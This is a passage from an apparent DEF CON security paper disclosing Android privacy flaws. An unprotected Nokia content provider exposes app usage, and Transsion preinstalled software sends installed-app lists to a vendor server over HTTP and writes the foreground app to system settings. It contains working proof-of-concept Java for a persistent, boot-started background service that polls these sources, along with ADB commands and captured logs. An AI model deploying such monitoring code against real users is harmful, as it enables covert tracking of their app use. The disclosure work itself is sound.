When the "`persist.sys.setupwizard.join_user_experience_program`" system property has a value of "`true`", then various usage data with respect to apps, RAM, power, storage, WiFi, and mobile data is recorded and stored in an exported content provider component that does not enforce any access control. The content provider component is named "`com.android.server.hmddatacollect.HMDDataCollectContentProvider`" and exists within the "`android`" package (i.e., "`system_server`"). The declaration of the "`android/com.android.server.hmddatacollect.HMDDataCollectContentProvider`" content provider component in the "`android`" package's "`AndroidManifest.xml`" file is shown below.

```
<provider android:authorities="com.hmddatacollect.com" android:enabled="true" android:exported="true"
android:name="com.android.server.hmddatacollect.HMDDataCollectContentProvider" android:singleUser="true"/>
```

This component is explicitly exported and does not make use of any attributes that enforce a permission requirement on the read or write operations. Since there are no access control measures for this content provider component, any co-located app on the device can interact with this content provider component which has a URI authority of "`com.hmddatacollect.com`". The SQLite database that provides the data store for this content provider supports the following ten tables: "`AppStartTime`", "`PowerConsump`", "`MobileData`", "`PreMobileData`", "`WifiData`", "`PreWifiData`", "`Forground`", "`Background`", "`AppStorageUse`", and "`ErrorOccur`".[32] Various services that execute within the "`android`" package record usage information to these tables stored in the "`android/com.android.server.hmddatacollect.HMDDataCollectContentProvider`" component using the "`com.hmddatacollect.com`" URI authority. We primarily focus on the "`content://com.hmddatacollect.com/AppStartTime`" URI, as it contains the app usage, although there are other tables which contain data about apps that the user has installed (e.g., "`content://com.hmddatacollect.com/RamConsump`").

A malicious third-party app can use a foreground service to persistently execute in the background, querying the various tables of the provider to record the package names of all apps the user uses. Some concrete output generated by reading data

[32] The misspelling of the "`Forground`" table name is as it appears in the app code.

from the exposed content provider is provided below. The package name and fully-qualified launcher activity component name has been highlighted in red text, where the last three entries are from third-party apps. The "`com.google.android.gms/.update.SystemUpdateV2Activity`" activity appears frequently in our case, as we had recently updated the Nokia G50 to the most recent software build available. The output below was generated by executing the following ADB command: "`adb shell content query --uri content://com.hmddatacollect.com/AppStartTime`". Although ADB is used here for listing the data from the content provider, it can also be accessed by a zero-permission third-party app; the source code to perform this action is provided later in this subsection.

```
Row: 0 id=33, packageName=com.google.android.gms/.update.SystemUpdateV2Activity, StartUpTime=933, startType=1,
timeStamp=H14
Row: 1 id=34, packageName=com.android.settings/.Settings, StartUpTime=755, startType=2, timeStamp=H15
Row: 2 id=35, packageName=com.google.android.gms/.update.SystemUpdateV2Activity, StartUpTime=1039, startType=1,
timeStamp=H15
Row: 3 id=36, packageName=com.android.settings/.Settings, StartUpTime=566, startType=2, timeStamp=H16
Row: 4 id=37, packageName=com.google.android.gms/.update.SystemUpdateV2Activity, StartUpTime=674, startType=1,
timeStamp=H16
Row: 5 id=38, packageName=com.android.settings/.Settings, StartUpTime=668, startType=2, timeStamp=H16
Row: 6 id=39, packageName=com.google.android.gms/.update.SystemUpdateV2Activity, StartUpTime=917, startType=1,
timeStamp=H16
Row: 7 id=40,
packageName=com.google.android.googlequicksearchbox/com.google.android.apps.search.assistant.surfaces.voice.ui.host.activit
y.transientactivity.FragmentHostTransientActivity, StartUpTime=546, startType=2, timeStamp=H16
Row: 8 id=41, packageName=com.android.settings/.Settings, StartUpTime=692, startType=2, timeStamp=H16
Row: 9 id=42, packageName=com.google.android.gms/.update.SystemUpdateV2Activity, StartUpTime=785, startType=1,
timeStamp=H16
Row: 10 id=43, packageName=com.google.android.gms/.update.SystemUpdateV2Activity, StartUpTime=829, startType=1,
timeStamp=H17
Row: 11 id=44, packageName=jackpal.androidterm/.Term, StartUpTime=591, startType=1, timeStamp=H18
Row: 12 id=45, packageName=com.spacegame.solitaire/com.zegame.erasegame.ForestMania, StartUpTime=962, startType=1,
timeStamp=H18
Row: 13 id=46, packageName=org.thoughtcrime.securesms/.registration.RegistrationNavigationActivity, StartUpTime=867,
startType=1, timeStamp=H19
```

There is also other information available from the content provider that may be of interest to an attacker. The "`RamConsump`" table contains the RAM usage of processes. These processes can be background apps that are doing CPU-intensive tasks via a foreground service. As a result, even if the user is not using an app directly, its package name can still be revealed in this table if it is doing CPU-intensive tasks in the background. This can reveal additional installed apps despite the user not actively or directly using them. The output below is from executing the "`adb shell content query --uri content://com.hmddatacollect.com/RamConsump`" ADB command.

```
Row: 24 id=2123, packageName=android, BgDuration=6832335, AvgBgMem=1219, MaxBgMem=2438, AvgRunMem=75562, MaxRunMem=199678,
RunWeight=1032585523403.0, timeStamp=H18
Row: 25 id=2124, packageName=com.android.systemui, BgDuration=6815905, AvgBgMem=1217, MaxBgMem=2434, AvgRunMem=40891,
MaxRunMem=106906, RunWeight=557513965539.0, timeStamp=H18
Row: 26 id=2125, packageName=com.google.android.apps.messaging, BgDuration=6785947, AvgBgMem=828, MaxBgMem=2484,
AvgRunMem=19466, MaxRunMem=102648, RunWeight=176615882754.0, timeStamp=H18
Row: 27 id=2126, packageName=os, BgDuration=5339418, AvgBgMem=449052, MaxBgMem=1347157, AvgRunMem=449052,
MaxRunMem=1347157, RunWeight=7193034334626.0, timeStamp=H19
Row: 28 id=2127, packageName=com.google.android.gms, BgDuration=5322978, AvgBgMem=1399, MaxBgMem=5599, AvgRunMem=55057,
MaxRunMem=274867, RunWeight=1045079656881.0, timeStamp=H19
Row: 29 id=2128, packageName=com.google.android.googlequicksearchbox, BgDuration=5321099, AvgBgMem=34473, MaxBgMem=150814,
AvgRunMem=41849, MaxRunMem=203966, RunWeight=889106560156.0, timeStamp=H19
Row: 30 id=2129, packageName=android, BgDuration=5332594, AvgBgMem=1090, MaxBgMem=2181, AvgRunMem=81211, MaxRunMem=190693,
RunWeight=866145465812.0, timeStamp=H19
Row: 31 id=2130, packageName=com.spacegame.solitaire, BgDuration=25649, AvgBgMem=5, MaxBgMem=11, AvgRunMem=72809,
MaxRunMem=145619, RunWeight=3793433190.0, timeStamp=H19
Row: 32 id=2131, packageName=os, BgDuration=8939670, AvgBgMem=441235, MaxBgMem=1323707, AvgRunMem=441235,
MaxRunMem=1323707, RunWeight=11833503756690.0, timeStamp=H20
Row: 33 id=2132, packageName=com.google.android.gms, BgDuration=8923230, AvgBgMem=1173, MaxBgMem=5865, AvgRunMem=47519,
MaxRunMem=294857, RunWeight=1441220608923.0, timeStamp=H20
Row: 34 id=2133, packageName=com.google.android.googlequicksearchbox, BgDuration=8921351, AvgBgMem=34815, MaxBgMem=152077,
AvgRunMem=41849, MaxRunMem=205229, RunWeight=1282817347817.0, timeStamp=H20
Row: 35 id=2134, packageName=android, BgDuration=8932846, AvgBgMem=1472, MaxBgMem=2944, AvgRunMem=77975, MaxRunMem=191456,
RunWeight=1393106356402.0, timeStamp=H20
Row: 36 id=2135, packageName=com.spacegame.solitaire, BgDuration=43116, AvgBgMem=7, MaxBgMem=15, AvgRunMem=74181,
MaxRunMem=151103, RunWeight=6530267418.0, timeStamp=H20
```

```
Row: 37 id=2136, packageName=org.thoughtcrime.securesms, BgDuration=1313033, AvgBgMem=34288, MaxBgMem=68856,
AvgRunMem=44902, MaxRunMem=113288, RunWeight=121211635749.0, timeStamp=H20
```

Another table that can reveal the package name of apps that the user may not actively be using is the "`MobileData`" table. The output below is from executing the "`adb shell content query --uri content://com.hmddatacollect.com/MobileData`" ADB command.

```
Row: 0 id=1, packageName=com.google.android.configupdater, RxData=9107420, TxData=69699, timeStamp=H22
Row: 1 id=2, packageName=com.google.android.gms, RxData=11874189, TxData=334177, timeStamp=H22
Row: 2 id=3, packageName=com.google.android.gsf, RxData=11874189, TxData=334177, timeStamp=H22
Row: 3 id=4, packageName=com.google.android.inputmethod.latin, RxData=22751700, TxData=279853, timeStamp=H22
```

In addition, the "`WifiData`" table that can reveal the package name of apps that the user may not actively be using. The output below is from executing the "`adb shell content query --uri content://com.hmddatacollect.com/WifiData`" ADB command.

```
Row: 0 id=1, packageName=com.google.android.googlequicksearchbox, RxData=124961775, TxData=915809, timeStamp=H16
```

The following code snippet can be inserted into the "`code_goes_here`" method in Appendix A. The code snippet queries the "`content://com.hmddatacollect.com/AppStartTime`" URI approximately every 5 seconds, and then writes the output to the system log with a log tag of "`hmddatacollect`". The log messages emitted can be observed by executing following ADB command: "`adb logcat hmddatacollect:V -s`".

```
new Thread() {
   @Override
   public void run() {
       Uri aUri = Uri.parse("content://com.hmddatacollect.com/AppStartTime");
       ContentResolver cr = context.getContentResolver();
       while (true) {
           try {
               Cursor cursor = cr.query(aUri, null, null, null, null);
               StringBuilder allUriData = new StringBuilder();
               int row_counter = 1;
               if (cursor == null || !cursor.moveToFirst())
                   continue;
               do {
                   StringBuilder row_data = new StringBuilder();
                   for(int id=0; id < cursor.getColumnCount(); id++) {
                       int type = cursor.getType(id);
                       if (type == 4)
                           continue;
                       row_data.append(cursor.getColumnName(id) + "=" + cursor.getString(id) + " ");
                   }
                   String row_data_str = row_data.toString();
                   allUriData.append(row_data_str + "\n");
                   Log.d("hmddatacollect", "[" + row_counter++ + "] - " + row_data_str);
               } while(cursor.moveToNext());
           } catch (Exception e) {
               Log.i("hmddatacollect", "Exception", e);
           }
           try { Thread.sleep(5000); } catch (InterruptedException e) {
               Log.i("hmddatacollect", "InterruptedException", e);
           }
       }
   }
}.start();
```

Some concrete log messages from the Nokia G50 smartphone are provided below. The package name and component name for each of the messages is highlighted in red.

```
D/hmddatacollect(24607): [1] - id=33 packageName=com.google.android.gms/.update.SystemUpdateV2Activity StartUpTime=933
startType=1 timeStamp=H14
D/hmddatacollect(24607): [2] - id=34 packageName=com.android.settings/.Settings StartUpTime=755 startType=2
timeStamp=H15
D/hmddatacollect(24607): [3] - id=35 packageName=com.google.android.gms/.update.SystemUpdateV2Activity
StartUpTime=1039 startType=1 timeStamp=H15
D/hmddatacollect(24607): [4] - id=36 packageName=com.android.settings/.Settings StartUpTime=566 startType=2
timeStamp=H16
D/hmddatacollect(24607): [5] - id=37 packageName=com.google.android.gms/.update.SystemUpdateV2Activity StartUpTime=674
startType=1 timeStamp=H16
D/hmddatacollect(24607): [6] - id=38 packageName=com.android.settings/.Settings StartUpTime=668 startType=2
timeStamp=H16
```

```
D/hmddatacollect(24607): [7] - id=39 packageName=com.google.android.gms/.update.SystemUpdateV2Activity StartUpTime=917
startType=1 timeStamp=H16
D/hmddatacollect(24607): [8] - id=40
packageName=com.google.android.googlequicksearchbox/com.google.android.apps.search.assistant.surfaces.voice.ui.host.ac
tivity.transientactivity.FragmentHostTransientActivity StartUpTime=546 startType=2 timeStamp=H16
D/hmddatacollect(24607): [9] - id=41 packageName=com.android.settings/.Settings StartUpTime=692 startType=2
timeStamp=H16
D/hmddatacollect(24607): [10] - id=42 packageName=com.google.android.gms/.update.SystemUpdateV2Activity
StartUpTime=785 startType=1 timeStamp=H16
D/hmddatacollect(24607): [11] - id=43 packageName=com.google.android.gms/.update.SystemUpdateV2Activity
StartUpTime=829 startType=1 timeStamp=H17
D/hmddatacollect(24607): [12] - id=44 packageName=jackpal.androidterm/.Term StartUpTime=591 startType=1 timeStamp=H18
D/hmddatacollect(24607): [13] - id=45 packageName=com.spacegame.solitaire/com.zegame.erasegame.ForestMania
StartUpTime=962 startType=1 timeStamp=H18
D/hmddatacollect(24607): [14] - id=46
packageName=org.thoughtcrime.securesms/.registration.RegistrationNavigationActivity StartUpTime=867 startType=1
timeStamp=H19
```

[8.1] Impacted Nokia Devices

We examined several Nokia smartphones to get an estimate of the breadth of impacted devices. The "`com.hmddatacollect.com`" URI authority appears to have been introduced in Android 12. It appears that this content provider component is present in Android 12 and is present up until at least Android 13 (although we did not examine any Nokia devices that run Android 14 to test). In Table 6, the "*Build Fingerprint*" column corresponds to the "`ro.build.fingerprint`" system property, and the "*Build Date*" column corresponds to the "`ro.build.date`" system property.

Nokia Device	Build Fingerprint	Build Date
G50	`Nokia/Punisher_00WW/PHR_sprout:13/TKQ1.220807.001/00WW_3_33E:user/release-keys`	`Tue Apr  2 14:13:50 UTC 2024`
G310 5G	`Nokia/Shadow_04US/SDT:13/TKQ1.221223.001/04US_1_13D:user/release-keys`	`Tue Sep 19 12:10:39 UTC 2023`
C210	`Nokia/Raven_00US/RVOA:13/TKQ1.230213.001/00US_1_160:user/release-keys`	`Thu Jan 25 15:50:00 UTC 2024`
C12	`Nokia/Nova_00M0/NVA:12/SP1A.210812.016/00WW_1_220:user/release-keys`	`Fri Mar 24 06:57:43 UTC 2023`

Table 6. List of Nokia devices that contain the "`com.hmddatacollect.com`" URI authority that is accessible to third-party apps due to a lack of access control.

[8.2] Checking if Your Device is Vulnerable

To definitely determine if your own device is vulnerable, you should execute the source code provided in Section 8.0 to see if relevant log messages start appearing after executing the "`adb logcat hmddatacollect:V -s`" ADB command. If the "`adb shell getprop persist.sys.setupwizard.join_user_experience_program`" ADB command returns any output other than "`true`", then your Nokia device is not enrolled in the "User Experience Program", and is not vulnerable.

[9.0] Remote Exposure of Installed Apps via HTTP

Some Transsion smartphones come with pre-installed software that transmits the user's installed app list via HTTP without user consent or awareness. The app list contains all apps that have a UID that is equal to or greater than 10,000 (i.e., third-party apps). The smallest UID that a third-party app can have is 10,000.[33] Transsion is a Chinese holding company that has Tecno, Infinix, and Itel among its brands.[34] While Transsion may not be a familiar name to many American consumers, they had the fourth largest global market share for smartphones, at 8.6%, in the final quarter of 2023, according to IDC.[35] Some of their devices we have examined come with a suite of pre-installed software, including a pre-installed app with a package name of "`com.skyroam.silverhelper`". This app executes with the "`system`" shared UID and two system binaries that execute with "`root`" privileges: "`/system/bin/osi`" and "`/system/bin/osi_bin`".

Notably, these pre-installed software components were part of the software architecture to enable Simo's virtual SIM (vSIM) technology on Android devices.[36] The single missing software component, compared to the previous Android devices that had Simo's software pre-installed, is the user-facing app that allows the user to register for Simo's vSIM service. Specifically, this is an Android app with a package name of "`com.skyroam.app`". This app was historically available on Google Play, although it is currently not available in America.[37] The "`com.skyroam.app`" app can still be downloaded from unofficial sources.[38]

During an analysis we performed in 2021, we discovered that these same pre-loaded software components contained serious vulnerabilities and PII transmission behaviors.[39] We documented these findings in great detail.[40] The most severe of the vulnerabilities was a local "`root`" privilege escalation vulnerability that allowed any local app that possesses the "`android.permission.WRITE_EXTERNAL_STORAGE`" permission to provide a forged software update that allows them to execute a shell script with "`root`" privileges, and also to provide an arbitrary ARM binary that executes with "`root`" privileges on system startup.[41] The root cause of this vulnerability was that there was no authentication of the software update payload other than that it could be successfully decrypted with a specific AES key that was hard-coded in the "`/system/bin/osi_bin`" system binary. The "`com.skyroam.silverhelper`" pre-installed app leaked the device's IMEI values to system properties which were accessible to third-party apps.[42] Lastly, the "`/system/bin/osi_bin`" system binary was transmitting the list of installed third-party apps and one of the IMEI values in an HTTP POST request to the "`http://log.skyroam.com.cn:9110/index`" URL, where the querystring is dynamic and has been omitted.[43] This PII transmission of the app list and IMEI occurred by default, even without using the Simo software, and without any user consent or awareness.

Currently, the "`/system/bin/osi_bin`" system binary on the Infinix SMART 7 and Tecno Pova Neo 2 smartphones transmits the list of installed third-party apps to the "`http://clog.geniex.com:9110/index`" URL where the querystring has been omitted, but a concrete URL is provided here.[44] In addition to the domain change from "`http://log.skyroam.com.cn:9110/index`", the "`com.skyroam.silverhelper`" app has also been modified. Currently, the "`com.skyroam.silverhelper`" pre-installed app (versionCode='10029' versionName='2.2.022) from the Infinix SMART 7 and Tecno Pova Neo 2 smartphones has a default application label (i.e., the "`android:label`" attribute) of "GENIEX Service", while the the "`com.skyroam.silverhelper`" app (versionCode='232', versionName='2.0.232') used a default application label of "SIMO" on the BLU G90 smartphone. The label of the "`com.skyroam.silverhelper`" app has been changed while the package name has remained the same. In addition to the renaming of the software, the

---

33 https://cs.android.com/android/platform/superproject/main/+/main:system/core/libcutils/include/private/android_filesystem_config.h;l=199
34 https://en.wikipedia.org/wiki/Transsion
35 https://www.idc.com/promo/smartphone-market-share
36 https://www.simo.co/about-us
37 https://play.google.com/store/apps/details?id=com.skyroam.app
38 https://apkpure.com/simo-global-local-internet/com.skyroam.app/download
39 https://www.quokka.io/blog/vsim-vulnerability-within-simo-android-phones-exposed
40 https://7561470.fs1.hubspotusercontent-na1.net/hubfs/7561470/QKKA_Resources/Security%20Analysis%20of%20Simo%E2%80%99s%20vSIM%20Android%20Software_Academic%20Paper.pdf
41 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41848
42 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41850
43 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41849
44 http://clog.geniex.com:9110/index?Hw=Skyroam&Ver=2.0.6.0(0817)&Sn=appsky3gutzery44&Ch=1&Type=2

company "Skyroam", which appears in the package names of apps, has been rebranded to "Solis"; "SIMO Corporation" is the parent company of "Solis".[45]

Our research suggests that some of Simo's software components have been rebranded as GENIEX.[46] The new user-facing app, with a package name of "`com.transtech.geniex`", appears to serve the same purpose as the previous "`com.skyroam.app`" app.[47] Neither the Infinix SMART 7 device nor Tecno Pova Neo 2 device have the "`com.transtech.geniex`" app pre-installed on their software builds. Therefore, the user will have to download the "`com.transtech.geniex`" app in order to use the GENIEX service. Even when the user does not download the "`com.transtech.geniex`" app, the rest of the software that enables the GENIEX service still executes with "`root`" privileges.

The HTTP POST request for the "`http://clog.geniex.com:9110/index`" URL is initiated by the "`/system/bin/osi_bin`" system binary, which ignores the proxy settings that a user can set in the Settings app. Therefore, a proxy that can capture all network traffic emitted from the smartphone is needed. Despite the domain change, the rest of the request remains essentially the same, except they have stopped transmitting the IMEI after we first reported the issue. The format of the request is a GZIP embedded in the HTTP POST request that uses a boundary string of "`------WebKitFormBoundaryapMKTQABBP6vWIo0`". The POST request occurs about every 5 to 24 hours and the GZIP contains an internal log file. Using Wireshark, the GZIP bytes can be exported, renamed from the default "`bin`" file extension to "`gz`", and then the "`gunzip`" command can be used to obtain the plaintext log. A snippet of the log, provided below, contains the following data: internal IP address, MCC-MNC of current operator network, complete list of installed third-party apps (and their respective UIDs), device model, and software version information. The same log file is provided in its entirety in Appendix J.

```
[default]        2024-04-29 06:17:06:43263418       file:fw_netlink.c function:parseNetlinkAddrMsg       line:142 wlan0
del address:192.168.2.55
[default]        2024-04-29 15:31:50:23     file:val_os_linux.c        function:val_system_block  line:364 serial_number =
0xf04403d0, cmd = setprop sys.skyroam.osi.status 'running'
[default]        2024-04-29 15:31:50:130    file:val_api.c    function:val_get_product_id        line:399 brand:Infinix,
model:Infinix X6515
[default]        2024-04-29 15:31:50:134    file:val_os_linux.c        function:val_system_block  line:364 serial_number =
0xf04403d0, cmd = setprop sys.skyroam.osi.version '2.0.6.0''
[default]        2024-04-29 15:31:51:492    file:val_os_linux.c        function:val_system_block  line:364 serial_number =
0xf04403d0, cmd = /system/bin/chmod 777 /mnt/traffic
[rsim]   2024-04-29 15:31:51:674    file:val_rsim_manage.c     function:val_rsim_set_last_plmn     line:3356
plmn:310260
[ui server]       2024-04-29 15:31:54:3216   file:stp_ui_socket_server.c        function:stp_ui_socket_server_init
line:310 bind ret = 0, NAME:@uisocket
[router] 2024-04-29 15:31:56:5393   file:val_router_linux.c    function:val_add_remove_get_appinfo_list_rsp line:230 app
number:101
[router] 2024-04-29 15:31:56:5745   file:val_router_linux.c    function:val_add_remove_get_appinfo_list_rsp line:242
[10138]:[org.thoughtcrime.securesms]
[router] 2024-04-29 15:31:57:6859   file:val_router_linux.c    function:val_add_remove_get_appinfo_list_rsp line:242
[10187]:[com.topjohnwu.magisk]
[router] 2024-04-29 15:31:57:6911   file:val_router_linux.c    function:val_add_remove_get_appinfo_list_rsp line:242
[10128]:[com.samsung.android.spay]
[router] 2024-04-29 15:31:57:6913   file:val_router_linux.c
function:val_add_remove_get_appinfo_list_rsp line:242 [10147]:[com.sh.smart.caller]
[router] 2024-04-29 15:31:57:6928   file:val_router_linux.c    function:val_add_remove_get_appinfo_list_rsp line:242
[10121]:[com.coinbase.android]
[router] 2024-04-29 15:31:57:6930   file:val_router_linux.c    function:val_add_remove_get_appinfo_list_rsp line:242
[10168]:[com.transsion.soundrecorder]
[router] 2024-04-29 15:31:57:6933   file:val_router_linux.c    function:val_add_remove_get_appinfo_list_rsp line:242
[10146]:[com.transsion.trancare]
[router] 2024-04-29 15:31:57:7005   file:val_router_linux.c    function:val_add_remove_get_appinfo_list_rsp line:242
[10123]:[com.spacegame.solitaire]
[vsim]   2024-04-29 15:32:04:13244  file:bsl_vsim_console.c    function:_bsl_get_vsim_sim_status_result     line:723
_vsim_sim_status=4
[default]        2024-04-29 15:32:03:12244  file:val_osi.c    function:val_product_sn_by_imei     line:188 sn =
appsky3gutzery44
```

[45] https://soliswifi.co/pages/about-us
[46] https://www.geniex.com/
[47] https://play.google.com/store/apps/details?id=com.transtech.geniex

The Tecno Pova Neo 2 smartphone, another Transsion device, also has the remnants of the Simo software (currently branded as GENIEX) pre-installed, where it does not have the "`com.transtech.geniex`" app pre-installed either. Specifically, we examined the Tecno Pova Neo 2 smartphone with a build fingerprint of "`TECNO/LG6n-OP/TECNO-LG6n:12/SP1A.210812.016/230201V1103:user/release-keys`" with a build date of "`Wed Feb  1 23:25:14 CST 2023`". This device also transmitted the user's list of installed apps to the "`http://clog.geniex.com:9110/index`" URL in an HTTP POST request.[48] The format is same as the Infinix SMART 7 device, where the log file, containing the installed third-party app list, is contained in the bytes of the GZIP file in the HTTP POST request body.

[9.1] Checking if Your Device is Vulnerable

To definitively determine if your own device is vulnerable, you need to be able to capture raw network traffic emitted from the device using "`tcpdump`" or Wireshark (or a similar network traffic capture/analysis tool) on an appropriate interface and see if the HTTP POST requests for the "`http://clog.geniex.com:9110/index`" URL occur. If executing the "`adb shell stat /system/bin/osi_bin`" ADB command provides output indicating that the file does not exist, then your device is not vulnerable.

[10.0] Transsion Exposing App Usage Through System Settings

We examined devices from Transsion's three main brands and discovered that they all leak the package name of the foreground app to a key in at least one of the namespaces in system settings, as shown in Table 7. System settings has three different namespaces where each is a repository for key-value pairs: "`global`", "`secure`", and "`system`".[49] The "*foreground app*" is the app that is currently on the screen which the user is viewing and possibly interacting with.

Device	Settings Namespace	Key name	Build Fingerprint
Tecno Pova Neo 2	`global`	`top_resume_package`	`TECNO/LG6n-OP/TECNO-LG6n:12/SP1A.210812.016/230201V1103:user/release-keys`
Itel Vision 3	`system`	`current_focused_app`	`Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V134-20231121:user/release-keys`
Itel Vision 3	`secure`	`ITEL_AMS_StartProcessLocked`	`Itel/F6321/itel-S661LP:11/RP1A.201005.001/GL-V134-20231121:user/release-keys`
Infinix Smart 7	`global`	`top_resume_package`	`Infinix/X6515-OP/Infinix-X6515:12/SP1A.210812.016/240308V1471:user/release-keys`
Infinix Hot 30i	`system`	`current_focused_app`	`Infinix/X669D-GL/Infinix-X669D:12/SP1A.210812.016/GL-20240408V414:user/release-keys`

Table 7. App usage exposures in Transsion smartphones.

Co-located apps on the device can read from the system settings, shown in Table 7, without requiring any specific permissions or privileges. The code snippet below, which works for the Tecno Pova Neo 2, Itel Vision 3, and Infinix Smart 7

[48] The full URL where the Tecno Pova Neo 2 device transmits the list of installed apps in an HTTP POST request is http://clog.geniex.com:9110/index?Hw=Skyroam&Ver=2.0.6.0(0817)&Sn=appsky3j90s3yll5&Ch=1&Type=2.
[49] https://developer.android.com/reference/android/provider/Settings

devices, reads the from all of the keys in their respective namespaces from Table 7 and then writes the value(s) to the system log, where the log messages can be observed by executing the "`adb logcat foreground_app:V -s`" ADB command.

```
new Thread(new Runnable() {
   @Override
   public void run() {
       while (true) {
           try {
               long timestamp = System.currentTimeMillis();
               String current_focused_app = Settings.System.getString(getContentResolver(), "current_focused_app");
               if (current_focused_app != null)
                   Log.i("foreground_app", "current_focused_app=" + current_focused_app + ", timestamp=" + timestamp);
               String top_resume_package = Settings.Global.getString(getContentResolver(), "top_resume_package");
               if (top_resume_package != null)
                   Log.i("foreground_app", "top_resume_package=" + top_resume_package + ", timestamp=" + timestamp);
               String itel_fg_app = Settings.Secure.getString(getContentResolver(), "ITEL_AMS_StartProcessLocked");
               if (itel_fg_app != null)
                   Log.i("foreground_app", "ITEL_AMS_StartProcessLocked=" + itel_fg_app + ", timestamp=" + timestamp);
               Thread.sleep(3000);
           } catch (Exception e) {
               Log.w("foreground_app", "exception", e);
           }
       }
   }
}).start();
```

A co-located app can consistently monitor the system settings keys on impacted devices to record every single app the user uses with associated timestamps. This does require persistent execution; the code snippet above can be inserted into the "`code_goes_here`" method in Appendix A. Some example log messages from executing the code snippet are provided below, which are visible when executing the "`adb logcat foreground_app:V -s`" ADB command on a Transsion device that has any of the aforementioned keys in system settings. The specific log messages below are from a Infinix SMART 7 smartphone which has the "`top_resume_package`" key in the "`global`" system settings namespace.

```
I foreground_app: top_resume_package=com.transsion.XOSLauncher, timestamp=1714669061333
I foreground_app: top_resume_package=org.thoughtcrime.securesms, timestamp=1714669064335
I foreground_app: top_resume_package=com.transsion.XOSLauncher, timestamp=1714669067341
I foreground_app: top_resume_package=com.google.android.permissioncontroller, timestamp=1714669070345
I foreground_app: top_resume_package=com.spacegame.solitaire, timestamp=1714669073352
I foreground_app: top_resume_package=com.spacegame.solitaire, timestamp=1714669076358
I foreground_app: top_resume_package=com.google.android.permissioncontroller, timestamp=1714669079425
I foreground_app: top_resume_package=jackpal.androidterm, timestamp=1714669082535
I foreground_app: top_resume_package=jackpal.androidterm, timestamp=1714669085569
I foreground_app: top_resume_package=com.samsung.android.spay, timestamp=1714669088571
I foreground_app: top_resume_package=com.transsion.XOSLauncher, timestamp=1714669091576
I foreground_app: top_resume_package=com.transsion.XOSLauncher, timestamp=1714669094583
I foreground_app: top_resume_package=com.transsion.XOSLauncher, timestamp=1714669097587
I foreground_app: top_resume_package=com.android.settings, timestamp=1714669100588
I foreground_app: top_resume_package=com.android.settings, timestamp=1714669103590
I foreground_app: top_resume_package=com.transsnet.store, timestamp=1714669106591
```

[10.1] Checking if Your Device is Vulnerable

To definitively determine if your own device is vulnerable, execute the "`adb shell 'settings get global top_resume_package; settings get system current_focused_app; settings get secure ITEL_AMS_StartProcessLocked'`" ADB command. If the output is anything other than three line-separated "`null`" values, then the device is vulnerable.

[11.0] Responsible Disclosure

We responsibly disclosed all of the issues impacted vendors at least 3 months prior to public disclosure, except for the cell identity leakage vulnerability where Samsung was provided with 2.5 months worth of notice prior to public disclosure. Some vulnerabilities were reported more than 5 months prior to public disclosure. All of the vulnerabilities have been verified by the vendors. After we reported the vulnerabilities to the vendors, some have indicated that the vulnerability was already reported to them by a client or that they have already found the vulnerability internally.

[12.0] Conclusion

We have shown that app usage can be exposed to co-located apps in a variety of ways, and how a variety of Samsung devices expose data enabling identification of the cell tower to which the device is connected. While the leakage of app usage information is not overly sensitive, it does present an invasion of privacy for another local app to record every single app the user interacts with, complete with timestamps, and without user awareness or consent. Even more critically, for a third party app to bypass location permission restrictions and directly obtain data that enables precise location of the cell tower(s) a device is connected to represents a major privacy violation and security flaw. This information can be used and/or combined to profile a user, their behavior, and establish pattern-of-life. In a drastic but valid case, users for whom privacy of app usage and/or location concealment is critical may expose the user to danger as a result of malicious application of these findings.

Appendix A. PoC Source Code for the "`MonitorService`" Component.

```java
package com.defcon32.poc;

import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
import android.util.Log;
import androidx.annotation.Nullable;

public class MonitorService extends Service {

   final static String TAG = "defcon32";

   @Override
   public void onCreate() {
       super.onCreate();
       startForeground();
       code_goes_here();
   }

   @Override
   public int onStartCommand(Intent intent, int flags, int startId) {
       Log.d(TAG, "onStartCommand");
       return START_STICKY;
   }

   private void code_goes_here() {
      // copy and paste code snippets here
   }

   @Nullable
   @Override
   public IBinder onBind(Intent intent) {
       return null;
   }

   private void startForeground() {
       NotificationChannel notificationChannel = new NotificationChannel("generic_channel_id", "generic_channel_name",
NotificationManager.IMPORTANCE_NONE);
       notificationChannel.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);
       NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
       notificationManager.createNotificationChannel(notificationChannel);
       Intent notificationIntent = new Intent(this, MainActivity.class);
       PendingIntent pendingIntent =  PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

       Notification notification =
               new Notification.Builder(this, "generic_channel_id")
                       .setContentTitle("")
                       .setContentText("")
                       .setSmallIcon(R.drawable.ic_launcher_background)
                       .setContentIntent(pendingIntent)
                       .setTicker("")
                       .build();
       startForeground(123456789, notification);
   }
}
```

Appendix B. PoC Source Code for the "`MainActivity`" Component.

```java
package com.defcon32.poc;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

   final static String TAG = "defcon32";

   @Override
   protected void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activity_main);
       startMonitorService();
   }

   public void startMonitorService() {
       Log.d(TAG, "startMonitorService");
       Intent intent = new Intent(this, MonitorService.class);
       if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O)
           startForegroundService(intent);
       else
           startService(intent);
       finishAndRemoveTask();
   }
}
```

Appendix C. PoC Source Code for the "`BootReceiver`" Component.

```java
package com.defcon32.poc;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.util.Log;

public class BootReceiver extends BroadcastReceiver {
   final static String TAG = "defcon32";

   @Override
   public void onReceive(Context context, Intent intent) {
       if (intent == null) {
           Log.d(TAG, "null intent received");
           return;
       }
       Log.d(TAG, "action=" + intent.getAction());
       BootReceiver.startMonitorService(context);
   }

   public static void startMonitorService(Context context) {
       Log.d(TAG, "startMonitorService");
